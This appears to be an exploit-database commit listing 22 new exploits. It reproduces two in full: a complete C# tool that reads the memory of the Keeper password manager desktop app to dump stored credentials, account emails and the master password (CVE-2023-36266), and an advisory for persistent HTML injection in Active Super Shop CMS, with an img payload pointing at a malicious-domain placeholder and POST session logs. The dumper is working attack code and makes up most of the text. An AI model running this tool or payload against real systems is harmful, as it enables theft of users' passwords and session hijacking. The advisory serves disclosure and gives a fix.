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22 changes to exploits/shellcodes/ghdb Keeper Security desktop 16.10.2 & Browser Extension 16.5.4 - Password Dumping Active Super Shop CMS v2.5 - HTML Injection Vulnerabilities Availability Booking Calendar v1.0 - Multiple Cross-site scripting (XSS) Dooblou WiFi File Explorer 1.13.3 - Multiple Vulnerabilities Joomla HikaShop 4.7.4 - Reflected XSS Joomla VirtueMart Shopping Cart 4.0.12 - Reflected XSS mooDating 1.2 - Reflected Cross-site scripting (XSS) October CMS v3.4.4 - Stored Cross-Site Scripting (XSS) (Authenticated) PaulPrinting CMS - (Search Delivery) Cross Site Scripting Perch v3.2 - Persistent Cross Site Scripting (XSS) RosarioSIS 10.8.4 - CSV Injection WordPress Plugin AN_Gradebook 5.0.1 - SQLi Zomplog 3.9 - Cross-site scripting (XSS) zomplog 3.9 - Remote Code Execution (RCE) copyparty 1.8.2 - Directory Traversal copyparty v1.8.6 - Reflected Cross Site Scripting (XSS) GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution mRemoteNG v1.77.3.1784-NB - Cleartext Storage of Sensitive Information in Memory Windows/x64 - PIC Null-Free Calc.exe Shellcode (169 Bytes)
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# Exploit Title: Keeper Security desktop 16.10.2 & Browser Extension 16.5.4 - Password Dumping | ||
# Google Dork: NA | ||
# Date: 22-07-2023 | ||
# Exploit Author: H4rk3nz0 | ||
# Vendor Homepage: https://www.keepersecurity.com/en_GB/ | ||
# Software Link: https://www.keepersecurity.com/en_GB/get-keeper.html | ||
# Version: Desktop App version 16.10.2 & Browser Extension version 16.5.4 | ||
# Tested on: Windows | ||
# CVE : CVE-2023-36266 | ||
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using System; | ||
using System.Management; | ||
using System.Diagnostics; | ||
using System.Linq; | ||
using System.Runtime.InteropServices; | ||
using System.Text; | ||
using System.Text.RegularExpressions; | ||
using System.Collections.Generic; | ||
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// Keeper Security Password vault Desktop application and Browser Extension stores credentials in plain text in memory | ||
// This can persist after logout if the user has not explicitly enabled the option to 'clear process memory' | ||
// As a result of this one can extract credentials & master password from a victim after achieving low priv access | ||
// This does NOT target or extract credentials from the affected browser extension (yet), only the Windows desktop app. | ||
// Github: https://github.com/H4rk3nz0/Peeper | ||
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static class Program | ||
{ | ||
// To make sure we are targetting the right child process - check command line | ||
public static string GetCommandLine(this Process process) | ||
{ | ||
if (process is null || process.Id < 1) | ||
{ | ||
return ""; | ||
} | ||
string query = $@"SELECT CommandLine FROM Win32_Process WHERE ProcessId = {process.Id}"; | ||
using (var searcher = new ManagementObjectSearcher(query)) | ||
using (var collection = searcher.Get()) | ||
{ | ||
var managementObject = collection.OfType<ManagementObject>().FirstOrDefault(); | ||
return managementObject != null ? (string)managementObject["CommandLine"] : ""; | ||
} | ||
} | ||
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//Extract plain text credential JSON strings (regex inelegant but fast) | ||
public static void extract_credentials(string text) | ||
{ | ||
int index = text.IndexOf("{\"title\":\""); | ||
int eindex = text.IndexOf("}"); | ||
while (index >= 0) | ||
{ | ||
try | ||
{ | ||
int endIndex = Math.Min(index + eindex, text.Length); | ||
Regex reg = new Regex("(\\{\\\"title\\\"[ -~]+\\}(?=\\s))"); | ||
string match = reg.Match(text.Substring(index - 1, endIndex - index)).ToString(); | ||
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int match_cut = match.IndexOf("} "); | ||
if (match_cut != -1 ) | ||
{ | ||
match = match.Substring(0, match_cut + "} ".Length).TrimEnd(); | ||
if (!stringsList.Contains(match) && match.Length > 20) | ||
{ | ||
Console.WriteLine("->Credential Record Found : " + match.Substring(0, match_cut + "} ".Length) + "\n"); | ||
stringsList.Add(match); | ||
} | ||
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} else if (!stringsList.Contains(match.TrimEnd()) && match.Length > 20) | ||
{ | ||
Console.WriteLine("->Credential Record Found : " + match + "\n"); | ||
stringsList.Add(match.TrimEnd()); | ||
} | ||
index = text.IndexOf("{\"title\":\"", index + 1); | ||
eindex = text.IndexOf("}", eindex + 1); | ||
} | ||
catch | ||
{ | ||
return; | ||
} | ||
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} | ||
} | ||
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// extract account/email containing JSON string | ||
public static void extract_account(string text) | ||
{ | ||
int index = text.IndexOf("{\"expiry\""); | ||
int eindex = text.IndexOf("}"); | ||
while (index >= 0) | ||
{ | ||
try | ||
{ | ||
int endIndex = Math.Min(index + eindex, text.Length); | ||
Regex reg = new Regex("(\\{\\\"expiry\\\"[ -~]+@[ -~]+(?=\\}).)"); | ||
string match = reg.Match(text.Substring(index - 1, endIndex - index)).ToString(); | ||
if ((match.Length > 2)) | ||
{ | ||
Console.WriteLine("->Account Record Found : " + match + "\n"); | ||
return; | ||
} | ||
index = text.IndexOf("{\"expiry\"", index + 1); | ||
eindex = text.IndexOf("}", eindex + 1); | ||
} | ||
catch | ||
{ | ||
return; | ||
} | ||
} | ||
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} | ||
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// Master password not available with SSO based logins but worth looking for. | ||
// Disregard other data key entries that seem to match: _not_master_key_example | ||
public static void extract_master(string text) | ||
{ | ||
int index = text.IndexOf("data_key"); | ||
int eindex = index + 64; | ||
while (index >= 0) | ||
{ | ||
try | ||
{ | ||
int endIndex = Math.Min(index + eindex, text.Length); | ||
Regex reg = new Regex("(data_key[ -~]+)"); | ||
var match_one = reg.Match(text.Substring(index - 1, endIndex - index)).ToString(); | ||
Regex clean = new Regex("(_[a-zA-z]{1,14}_[a-zA-Z]{1,10})"); | ||
if (match_one.Replace("data_key", "").Length > 5) | ||
{ | ||
if (!clean.IsMatch(match_one.Replace("data_key", ""))) | ||
{ | ||
Console.WriteLine("->Master Password : " + match_one.Replace("data_key", "") + "\n"); | ||
} | ||
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} | ||
index = text.IndexOf("data_key", index + 1); | ||
eindex = index + 64; | ||
} | ||
catch | ||
{ | ||
return; | ||
} | ||
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} | ||
} | ||
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// Store extracted strings and comapre | ||
public static List<string> stringsList = new List<string>(); | ||
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// Main function, iterates over private committed memory pages, reads memory and performs regex against the pages UTF-8 | ||
// Performs OpenProcess to get handle with necessary query permissions | ||
static void Main(string[] args) | ||
{ | ||
foreach (var process in Process.GetProcessesByName("keeperpasswordmanager")) | ||
{ | ||
string commandline = GetCommandLine(process); | ||
if (commandline.Contains("--renderer-client-id=5") || commandline.Contains("--renderer-client-id=7")) | ||
{ | ||
Console.WriteLine("->Keeper Target PID Found: {0}", process.Id.ToString()); | ||
Console.WriteLine("->Searching...\n"); | ||
IntPtr processHandle = OpenProcess(0x00000400 | 0x00000010, false, process.Id); | ||
IntPtr address = new IntPtr(0x10000000000); | ||
MEMORY_BASIC_INFORMATION memInfo = new MEMORY_BASIC_INFORMATION(); | ||
while (VirtualQueryEx(processHandle, address, out memInfo, (uint)Marshal.SizeOf(memInfo)) != 0) | ||
{ | ||
if (memInfo.State == 0x00001000 && memInfo.Type == 0x20000) | ||
{ | ||
byte[] buffer = new byte[(int)memInfo.RegionSize]; | ||
if (NtReadVirtualMemory(processHandle, memInfo.BaseAddress, buffer, (uint)memInfo.RegionSize, IntPtr.Zero) == 0x0) | ||
{ | ||
string text = Encoding.ASCII.GetString(buffer); | ||
extract_credentials(text); | ||
extract_master(text); | ||
extract_account(text); | ||
} | ||
} | ||
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address = new IntPtr(memInfo.BaseAddress.ToInt64() + memInfo.RegionSize.ToInt64()); | ||
} | ||
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CloseHandle(processHandle); | ||
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} | ||
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} | ||
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} | ||
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[DllImport("kernel32.dll")] | ||
public static extern IntPtr OpenProcess(uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId); | ||
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[DllImport("kernel32.dll")] | ||
public static extern bool CloseHandle(IntPtr hObject); | ||
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[DllImport("ntdll.dll")] | ||
public static extern uint NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, UInt32 NumberOfBytesToRead, IntPtr NumberOfBytesRead); | ||
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[DllImport("kernel32.dll", SetLastError = true)] | ||
public static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength); | ||
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[StructLayout(LayoutKind.Sequential)] | ||
public struct MEMORY_BASIC_INFORMATION | ||
{ | ||
public IntPtr BaseAddress; | ||
public IntPtr AllocationBase; | ||
public uint AllocationProtect; | ||
public IntPtr RegionSize; | ||
public uint State; | ||
public uint Protect; | ||
public uint Type; | ||
} | ||
} |
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# Exploit Title: Active Super Shop CMS v2.5 - HTML Injection Vulnerabilities | ||
References (Source): https://www.vulnerability-lab.com/get_content.php?id=2278 | ||
Release Date: | ||
2023-07-04 | ||
Vulnerability Laboratory ID (VL-ID): 2278 | ||
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Common Vulnerability Scoring System: 5.4 | ||
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Product & Service Introduction: | ||
=============================== | ||
https://codecanyon.net/item/active-super-shop-multivendor-cms/12124432 | ||
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Abstract Advisory Information: | ||
============================== | ||
The vulnerability laboratory core research team discovered multiple html injection vulnerabilities in the Active Super Shop Multi-vendor CMS v2.5 web-application. | ||
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Affected Product(s): | ||
==================== | ||
ActiveITzone | ||
Product: Active Super Shop CMS v2.5 (CMS) (Web-Application) | ||
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Vulnerability Disclosure Timeline: | ||
================================== | ||
2021-08-20: Researcher Notification & Coordination (Security Researcher) | ||
2021-08-21: Vendor Notification (Security Department) | ||
2021-**-**: Vendor Response/Feedback (Security Department) | ||
2021-**-**: Vendor Fix/Patch (Service Developer Team) | ||
2021-**-**: Security Acknowledgements (Security Department) | ||
2023-07-05: Public Disclosure (Vulnerability Laboratory) | ||
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Discovery Status: | ||
================= | ||
Published | ||
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Exploitation Technique: | ||
======================= | ||
Remote | ||
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Severity Level: | ||
=============== | ||
Medium | ||
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Authentication Type: | ||
==================== | ||
Restricted Authentication (User Privileges) | ||
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User Interaction: | ||
================= | ||
Low User Interaction | ||
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Disclosure Type: | ||
================ | ||
Responsible Disclosure | ||
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Technical Details & Description: | ||
================================ | ||
Multiple html injection web vulnerabilities has been discovered in the official Active Super Shop Multi-vendor CMS v2.5 web-application. | ||
The web vulnerability allows remote attackers to inject own html codes with persistent vector to manipulate application content. | ||
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The persistent html injection web vulnerabilities are located in the name, phone and address parameters of the manage profile and products branding module. | ||
Remote attackers with privileged accountant access are able to inject own malicious script code in the name parameter to provoke a persistent execution on | ||
profile view or products preview listing. There are 3 different privileges that are allowed to access the backend like the accountant (low privileges), the | ||
manager (medium privileges) or the admin (high privileges). Accountants are able to attack the higher privileged access roles of admins and manager on preview | ||
of the elements in the backend to compromise the application. The request method to inject is post and the attack vector is persistent located on the application-side. | ||
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Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and | ||
persistent manipulation of affected application modules. | ||
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Request Method(s): | ||
[+] POST | ||
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Vulnerable Module(s): | ||
[+] Manage Details | ||
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Vulnerable Parameter(s): | ||
[+] name | ||
[+] phone | ||
[+] address | ||
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Affected Module(s): | ||
[+] manage profile | ||
[+] products branding | ||
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Proof of Concept (PoC): | ||
======================= | ||
The html injection web vulnerabilities can be exploited by remote attackers with privileged accountant access and with low user interaction. | ||
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue. | ||
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Exploitation: Payload | ||
<img src="https://[DOMAIN]/[PATH]/[PICTURE].*"> | ||
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Vulnerable Source: manage_admin & branding | ||
<div class="tab-pane fade active in" id="" style="border:1px solid #ebebeb; border-radius:4px;"> | ||
<div class="panel-heading"> | ||
<h3 class="panel-title">Manage Details</h3> | ||
</div> | ||
<form action="https://assm_cms.localhost:8080/shop/admin/manage_admin/update_profile/" class="form-horizontal" method="post" accept-charset="utf-8"> | ||
<div class="panel-body"> | ||
<div class="form-group"> | ||
<label class="col-sm-3 control-label" for="demo-hor-1">Name</label> | ||
<div class="col-sm-6"> | ||
<input type="text" name="name" value="Mr. Accountant"><img src="https://MALICIOUS-DOMAIN.com/gfx/logo-header.png">" id="demo-hor-1" class="form-control required"> | ||
</div></div> | ||
<div class="form-group"> | ||
<label class="col-sm-3 control-label" for="demo-hor-2">Email</label> | ||
<div class="col-sm-6"> | ||
<input type="email" name="email" value="[email protected]" id="demo-hor-2" class="form-control required"> | ||
</div></div> | ||
<div class="form-group"> | ||
<label class="col-sm-3 control-label" for="demo-hor-3"> | ||
Phone</label> | ||
<div class="col-sm-6"> | ||
<input type="text" name="phone" value="017"><img src="https://MALICIOUS-DOMAIN.com/gfx/logo-header.png">" id="demo-hor-3" class="form-control"> | ||
</div></div> | ||
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--- PoC Session Logs (POST) --- | ||
https://assm_cms.localhost:8080/shop/admin/manage_admin/update_profile/ | ||
Host: assm_cms.localhost:8080 | ||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 | ||
Accept: text/html, */*; q=0.01 | ||
X-Requested-With: XMLHttpRequest | ||
Content-Type: multipart/form-data; boundary=---------------------------280242453224137385302547344680 | ||
Content-Length: 902 | ||
Origin:https://assm_cms.localhost:8080 | ||
Connection: keep-alive | ||
Referer:https://assm_cms.localhost:8080/shop/admin/manage_admin/ | ||
Cookie: ci_session=5n6fmo5q5gvik6i5hh2b72uonuem9av3; curr=1 | ||
- | ||
POST: HTTP/3.0 200 OK | ||
content-type: text/html; charset=UTF-8 | ||
ci_session=5n6fmo5q5gvik6i5hh2b72uonuem9av3; path=/; HttpOnly | ||
https://assm_cms.localhost:8080/shop/admin/manage_admin/ | ||
Host: assm_cms.localhost:8080 | ||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 | ||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 | ||
Accept-Language: en-US,en;q=0.5 | ||
Accept-Encoding: gzip, deflate, br | ||
Connection: keep-alive | ||
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Reference(s): | ||
https://assm_cms.localhost:8080/shop/ | ||
https://assm_cms.localhost:8080/shop/admin/ | ||
https://assm_cms.localhost:8080/shop/admin/manage_admin/ | ||
https://assm_cms.localhost:8080/shop/admin/manage_admin/update_profile/ | ||
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Solution - Fix & Patch: | ||
======================= | ||
Disallow inseration of html code for input fields like name, adress and phone. Sanitize the content to secure deliver. | ||
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Security Risk: | ||
============== | ||
The security risk of the html injection web vulnerabilities in the shopping web-application are estimated as medium. | ||
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Credits & Authors: | ||
================== | ||
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab |
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